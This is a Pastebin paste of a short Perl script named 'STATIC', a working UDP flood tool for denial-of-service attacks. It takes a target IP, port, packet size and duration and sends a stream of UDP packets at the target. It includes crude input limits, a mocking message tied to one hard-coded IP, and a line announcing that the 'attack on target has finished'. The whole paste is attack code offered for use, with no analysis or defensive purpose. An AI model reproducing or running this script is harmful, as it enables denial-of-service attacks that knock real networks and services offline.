Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #|||________|||#
- #||| STATIC |||#
- #|||^^^^^^^^|||#
- use Socket;
- use strict;
- my ($ip,$port,$size,$time) = @ARGV;
- my ($iaddr,$endtime,$psize,$pport);
- $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
- $endtime = time() + ($time ? $time : 100);
- socket(flood, PF_INET, SOCK_DGRAM, 17);
- if ($size >= 50001) {
- print "Error: Size field is restricted to under 50000 ";
- exit;
- }
- if ($time >= 241) {
- print "Error: Time field must be under 240 ";
- exit;
- }
- if ($ip =~ m/^PUT IP HERE$/) {
- print "*bitchslap*... ";
- exit;
- }
- if ($ip =~ m/^PUT IP HERE$/) {
- print "*bitchslap*... ";
- exit;
- }
- if ($ip =~ m/^74.53.201.162$/) {
- print "Everytime you try to hit virustotal, I eat an entire family of pandas.";
- exit;
- }
- if ($ip == "") {
- print "Error: Fields can't be left blank";
- exit;
- }
- if ($port == "") {
- print "Error: Fields can't be left blank";
- exit;
- }
- if ($size == "") {
- print "Error: Fields can't be left blank";
- exit;
- }
- if ($time == "") {
- print "Error: Fields can't be left blank";
- exit;
- }
- print "Command was successfully received and attack on target has finished";
- for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1024-64)+64) ;
- $pport = $port ? $port : int(rand(65500))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Add Comment
Please, Sign In to add comment